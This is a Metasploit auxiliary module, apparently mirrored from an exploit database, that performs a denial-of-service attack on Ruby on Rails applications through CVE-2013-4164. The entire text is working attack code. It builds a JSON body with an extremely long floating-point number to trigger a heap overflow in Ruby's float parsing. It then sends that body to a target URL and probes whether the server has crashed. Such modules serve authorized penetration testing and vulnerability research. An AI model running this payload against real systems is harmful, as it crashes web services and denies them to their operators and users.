Share
## https://sploitus.com/exploit?id=PACKETSTORM:180519
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Ruby on Rails JSON Processor Floating Point Heap Overflow DoS',  
'Description' => %q{  
When Ruby attempts to convert a string representation of a large floating point  
decimal number to its floating point equivalent, a heap-based buffer overflow  
can be triggered. This module has been tested successfully on a Ruby on Rails application  
using Ruby version 1.9.3-p448 with WebRick and Thin web servers, where the Rails application  
crashes with a segfault error. Other versions of Ruby are reported to be affected.  
},  
'Author' =>  
[  
'Charlie Somerville', # original discoverer  
'joev', # bash PoC  
'todb', # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2013-4164' ],  
[ 'OSVDB', '100113' ],  
[ 'URL', 'https://www.ruby-lang.org/en/news/2013/11/22/ruby-1-9-3-p484-is-released/' ]  
],  
'DisclosureDate' => '2013-11-22'))  
register_options(  
[  
OptString.new('TARGETURI', [false, 'The URL of the vulnerable Rails application', '/']),  
OptString.new('HTTPVERB', [false, 'The HTTP verb to use', 'POST'])  
])  
end  
  
def uri  
normalize_uri(target_uri.path.to_s)  
end  
  
def verb  
datastore['HTTPVERB'] || 'POST'  
end  
  
def digit_pattern  
@digit_pattern ||= rand(10_000).to_s  
end  
  
def integer_part  
digit_pattern  
end  
  
def multiplier  
(500_000 * (1.0/digit_pattern.size)).to_i  
end  
  
def fractional_part  
digit_pattern * multiplier  
end  
  
# The evil_float seems to require some repeating element. Maybe  
# it's just superstition, but straight up 300_002-lenth random  
# numbers don't appear to trigger the vulnerability. Also, these are  
# easier to produce, and slightly better than the static "1.1111..."  
# for 300,000 decimal places.  
def evil_float_string  
[integer_part,fractional_part].join('.')  
end  
  
def run  
print_status "Using digit pattern of #{digit_pattern} taken to #{multiplier} places"  
sploit = '['  
sploit << evil_float_string  
sploit << ']'  
print_status "Sending DoS HTTP#{datastore['SSL'] ? 'S' : ''} #{verb} request to #{uri}"  
target_available = true  
  
begin  
res = send_request_cgi(  
{  
'method' => verb,  
'uri' => uri,  
'ctype' => "application/json",  
'data' => sploit  
})  
rescue ::Rex::ConnectionRefused  
print_error "Unable to connect. (Connection refused)"  
target_available = false  
rescue ::Rex::HostUnreachable  
print_error "Unable to connect. (Host unreachable)"  
target_available = false  
rescue ::Rex::ConnectionTimeout  
print_error "Unable to connect. (Timeout)"  
target_available = false  
end  
  
return unless target_available  
  
print_status "Checking availability"  
begin  
res = send_request_cgi({  
'method' => verb,  
'uri' => uri,  
'ctype' => "application/json",  
'data' => Rex::Text.rand_text_alpha(1+rand(64)).to_json  
})  
if res and res.body and res.body.size > 0  
target_available = true  
else  
print_good "#{peer}#{uri} - DoS appears successful (No useful response from host)"  
target_available = false  
end  
rescue ::Rex::ConnectionError, Errno::ECONNRESET  
print_good "DoS appears successful (Host unreachable)"  
target_available = false  
end  
  
return unless target_available  
  
print_error "Target is still responsive, DoS was unsuccessful."  
  
end  
end